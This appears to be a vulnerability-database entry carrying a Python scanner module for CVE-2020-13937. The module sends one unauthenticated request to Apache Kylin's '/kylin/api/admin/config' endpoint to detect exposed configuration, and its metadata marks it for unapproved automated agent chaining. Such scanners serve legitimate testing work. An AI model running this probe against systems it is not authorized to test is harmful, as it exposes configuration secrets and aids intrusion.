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Apache Kylin - Exposed Configuration File Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
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Apache Kylin REST API exposes configuration information without authentication.

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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Apache Kylin 2."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Apache Kylin - Exposed Configuration File Detection',
        'description': "Apache Kylin 2.0.0, 2.1.0, 2.2.0, 2.3.0, 2.3.1, 2.3.2, 2.4.0, 2.4.1, 2.5.0, 2.5.1, 2.5.2, 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 3.0.0-alpha, 3.0.0-alpha2, 3.0.0-beta, 3.0.0, 3.0.1, 3.0.2, 3.1.0, 4.0.0-alpha have one REST API which exposed Kylin's configuration information without authentication.",
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'cve', 'cve2020', 'apache', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
            },
        },
        'references': [
            'https://kylin.apache.org/docs/release_notes.html',
            'https://s.tencent.com/research/bsafe/1156.html',
            'https://lists.apache.org/thread.html/rc592e0dcee5a2615f1d9522af30ef1822c1f863d5e05e7da9d1e57f4%40%3Cuser.kylin.apache.org%3E',
            'https://github.com/Al1ex/CVE-2020-13937',
            'https://github.com/HimmelAward/Goby_POC',
        ],
        'cve': 'CVE-2020-13937',
    }

    def run(self):
        r = self.http_request(method="GET", path='/kylin/api/admin/config', allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
        body_all = ('config', 'kylin.metadata.url',)
        header_any = ('application/json',)
        if (all(m in body for m in body_all)) and (any(m in headers for m in header_any)):
            self.set_info(
                severity='medium',
                reason="Apache Kylin - Exposed Configuration File detected",
                path='/kylin/api/admin/config',
            )
            return True
        return False

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28 Jul 2026 11:27Current
5.9Medium risk
Vulners AI Score5.9
CVSS 25
CVSS 3.15.3
EPSS0.78331
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